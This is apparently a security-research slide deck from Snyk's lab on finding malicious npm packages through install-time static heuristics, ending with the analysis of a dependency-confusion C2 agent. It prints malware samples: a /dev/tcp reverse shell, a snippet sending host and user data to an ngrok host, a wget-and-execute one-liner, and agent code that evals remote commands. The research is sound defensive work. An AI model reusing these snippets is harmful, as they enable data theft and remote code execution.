



Finding Malicious Artefacts in the Wild West OSS supply-chain





\$ whoami && who is Snyk-labs?

Security Research Team at Snyk 

 Skateboarding /  Snowboarding

 Cats


 Craft beer

 UK ➔  Zurich

- Snyk (pronounced sneak) is a developer security platform for securing code, dependencies, containers, and infrastructure as code.
- Snyk Security Lab aims to position Snyk as a leader in open source security through innovative research
- Contribute security expertise to strategic company directions
- Snyk product improvements



Elliot Ward



Raul Onitza-Klugman




\$ cat ./agenda

- 1/Supply chain security threats
- 2/A malware detection pipeline
- 3/Playing Among Us with an adversary
- 4/Conclusions and current status



\$ open source development

- Vulnerabilities
- Malware
- Dependency confusion
- Typosquatting
- Crypto miners
- Orphaned packages
- Expired domains for maintainer emails
- ...



Visual Studio Code



snyk




\$ open source development

snyk Vulnerability DB

Open Source Vulnerability Database

The most comprehensive, accurate, and timely database for open source vulnerabilities.



M Remote Code Execution

Affecting org.springframework:spring-beans package, versions [,5.2.20) , [5.3.0, 5.3.18)

How to fix?

Upgrade

org.springframework:spring-beans to version 5.2.20, 5.3.18 or higher.

9.8

CRITICAL



vulnerabilities



malicious artifacts



\$ open source development

PyPI package 'ctx' and PHP library 'phpass' compromised to steal environment variables

May 24, 2022 By Ax Sharma
Aqua Security Report Finds Malicious Images on DockerHub

Poison packages – “Supply Chain Risks” user hits Python community with 4000 fake modules

September 3, 2021 Aqua Security, container security
NPM maintainer targets Russian users with data-wiping ‘protestware’

07 MAR 2021 18 Malware
Numerous systems targeted by malicious Python package

Don't Blindly Trust Software Building Blocks, Report Says

Thousands of Malicious npm Packages Threaten Web Apps
Multiple Backdoored Python Libraries Caught Stealing AWS Secrets and Keys

npm package disables Windows Defender before dropping trojan

June 24, 2022 Ravie Lakshmanan
RSAC insights: Software tampering escalates as bad actors take advantage of ‘dependency confusion’

by Ax Sharma on June 13, 2022

by bacohido on June 3, 2022



Visual Studio Code





\$ cat ./agenda

1/Supply chain security threats

2/A malware detection pipeline V1.0

3/Playing Among Us with an adversary


4/Conclusions and current status



```
$ SELECT count(ecosystem)  
FROM malicious_artifacts  
GROUP BY ecosystem
```






```
$ SELECT count(ecosystem)  
FROM malicious_artifacts  
GROUP BY ecosystem
```





NPM DELIVERY



MONKEYUSER.COM



\$ cat requirements.txt

V1.0 Open Source Ecosystem Malware Detector

1. **We only focused on install-time malicious logic.** So, only what is happening during **npm install**. Code can execute through the 'preinstall', 'install', 'postinstall' and install-time scripts. Run-time malicious scripts are out of scope and being covered in ongoing work.
2. **The amount of false-positive signals should be manageable.** We defined it as one security analyst should be able to sort all leads out in one working hour or less.
3. **The collector should be modular.** It had evolved multiple times already and continues to do so. Some of the detection techniques were added and some deleted due to #2.
4. **As an initial approach, we decided to go with purely static analyses.** More on dynamic analysis later...




\$ So how does this look?

The structure of the underlying system consists of:

1. Scraping logic to retrieve information about newly added and changed packages
2. Tagging logic to provide reasonable metadata to security analysts
3. Sorting logic to prioritize malicious package leads according to the previous step




How it works





How it works





\$ cat top-heuristics

- **bigVersion** – If a package major version is more or equal to 90. In the dependency confusion attack, a malicious package to be downloaded should have a bigger version than the original one. Malicious packages often have versions like 99.99.99.
- **yearNoUpdates** – Package is updated for the first time over the year. This plays a key signal to determine if a package was not maintained for a while and then got compromised by a threat actor.
- **noGHTagLastVersion** – New version of a package has no tag in a corresponding GitHub repository (although, previous version had it). This works for cases when an npm user was compromised, but *not* a GitHub user.
- **isSuspiciousFile** – We have a set of regular expressions to detect potentially malicious install-time scripts. They work to detect common obfuscation techniques, usage of domains like canarytokens.com or ngrok.io, indication of IP addresses and so on.
- **isSuspiciousScript** – A set of regular expressions to detect potentially malicious scripts in package.json file. For example, as we found out “postinstall: “node .” is often used in malicious packages.



\$ cat results.txt

- Data exfiltration
- Reverse shells
 - a. `/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;`
 - b. More sophisticated shells using **net.Socket**
- Multi staged downloaders
- Custom C2s
- Commercial C2s (Cobalt Strike)



\$ **cat** top-exfiltrated-data

- Current user name
- Home directory path
- Application directory path
- List of files in various folders like home or application working directory
- Result of ifconfig system command
- Application package.json file
- **Environment variables**
- **The .npmrc file**



```
const trackingData = JSON.stringify({
  p: package,
  c: __dirname,
  hd: os.homedir(),
  hn: os.hostname(),
  un: os.userInfo().username,
  dns: dns.getServers(),
  r: packageJSON ? packageJSON.__resolved : undefined,
  v: packageJSON.version,
  pjson: packageJSON,
});

var postData = querystring.stringify({
  msg: trackingData,
});

var options = {
  hostname: "192.168.1.101.ngrok.io", //replace burpcollaborator.net with Interactsh or pipedream
  port: 443,
  path: "/",
  method: "POST",
```



```
// if ur using windows for installing this package ur 1 lucky son of a  
bicth  
  
const child = require('child_process').execSync;  
  
child('sudo wget https://bit.ly/██████████ -O ./cmc -L >/dev/null 2>&1 &&  
chmod +x .cmc >/dev/null 2>&1 && ./cmc >/dev/null 2>&1');
```



\$ cat ./agenda

- 1/Supply chain security threats
- 2/A malware detection pipeline
- 3/Playing Among Us with an adversary
- 4/Conclusions and current status





\$ echo Playing Among Us with an adversary

One package with multiple signals looked **sus**:
`gxm-reference-web-auth-server`



\$ echo How did we reverse engineer the malware

```
{
  "name": "gxm-reference-web-auth-server",
  "version": "1.33.8",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node confsettingsaaa.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "dependencies": {
    "axios": "0.26.0",
    "targz": "1.0.1",
    "ldtzstxwzpntxqn": "^4.0.0",
    "lznfjbhurpjsqmr": "^0.5.57",
    "semver": "7.3.5"
  }
}
```



\$ echo How did we reverse engineer the malware

```
{
  "name": "gxm-reference-web-auth-server",
  "version": "1.33.8",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "node confsettingsaaa.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "dependencies": {
    "axios": "0.26.0",
    "targz": "1.0.1",
    "ldtzstxwzpntxqn": "^4.0.0",
    "lznfjbhurpjsqmr": "^0.5.57",
    "semver": "7.3.5"
  }
}
```



\$ echo How did we reverse engineer the malware

```
root@3b869b434e7d:/tmp/package# cat confsettingsaaa.js
const a0_0x489fde=a0_0x5400;(function(_0x552d48,_0x2cc03c){const
_0x462334=a0_0x5400,_0x2fedb3=_0x552d48();while(!![]){try{const
_0x5c5667=-parseInt(_0x462334(0x167))/0x1*(-parseInt(_0x462334(0x10b))/0x2)+-parseInt(_0x462334(0x116))
..... # trimmed
```




```
async function init_agent() {  
  try {  
    axios({  
      method: 'POST',  
      url: c2_server + '/register',  
      data: {engine: 'nodejs'},  
      headers: {'User-Agent': useragent},  
      httpsAgent: httpsAgent,  
    }).then(function (response) {  
      key = response.data.key,  
      iv = response.data.iv,  
      uuid = response.data.uuid,  
  
      // ...  
    })  
  }  
}
```



```
// ...
try {
  if (
    ((response = ''), await sleep(agent_sleep), "delete" == command_type)
  ) {
    return false // agent lives as a process, so a "return" equals termination
  }
  if ('exec' == command_type || "eval" == command_type) {
    try {
      response = eval(payload)
    } catch (error) {
      response = error.message
    }
  } else { // data and file exfiltration
    if ('upload' == command_type) {
// ...
```






\$./among-us-adversary <<< protection

Always use protection

0/ All work is done in containers

1/ All work is done behind a non-Snyk VPN

2/ Honeypot server runs on non-Snyk cloud service





\$ echo Woops, we found your siblings!

```
async function init_agent() {
  try {
    axios({
      method: 'POST',
      url: c2_server + '/register',
      data: {engine: 'nodejs'},
      headers: {'User-Agent': useragent},
      httpsAgent: httpsAgent,
    }).then(function (response) {
      key = response.data.key,
      iv = response.data.iv,
      uuid = response.data.uuid,
    })
  }
  // ...
}
```



\$ echo Woops, we found your siblings!

```
async function init_agent() {
  try {
    axios({
      method: 'POST',
      url: c2_server + '/register',
      data: {engine: ??????},
      headers: {'User-Agent': useragent},
      httpsAgent: httpsAgent,
    }).then(function (response) {
      key = response.data.key,
      iv = response.data.iv,
      uuid = response.data.uuid,
    })
  }
  // ...
}
```




\$ echo Woops, we found your siblings!

```
root@3b869b434e7d:/tmp/package# ./opts.sh
[!] response for engine = nodejs
{"iv":"jFhDrjFWaCGFjZJE","key":"FsEAsoidWzYJwrNIgYoonpTRmQhzJvc1","uuid":"a8381854-2986-4754-8cbe-dbf5c0bcb8dd"}


[!] response for engine = go
{"iv":"dqgIwAQoYKPsziVz","key":"VucfFKQ...njwPmVbNm","uuid":"5280d805-08cf-4b9e-9bd5-fbe85f5d5014"}

[!] response for engine = browser
{"uuid":"f820fc90-9618-4d90-9991-9d7...
```





\$ echo So who are we dealing with?





@snyksec Tnx for your excellent analysis at [snyk.io/blog/npm-depen...](https://snyk.io/blog/npm-dependency-confusion/) and don't worry, the "malicious actor" is one of our interns 😎 who was tasked to research dependency confusion as part of our continuous attack simulations for clients. (1/2)



\$ cat ./concs-and-state

Conclusions:

0/ Our method seems to be working, we continue researching with it in more ecosystems and dynamic analysis

1/ Speared-dependency-confusion vectors exists and active in the wild



\$ exit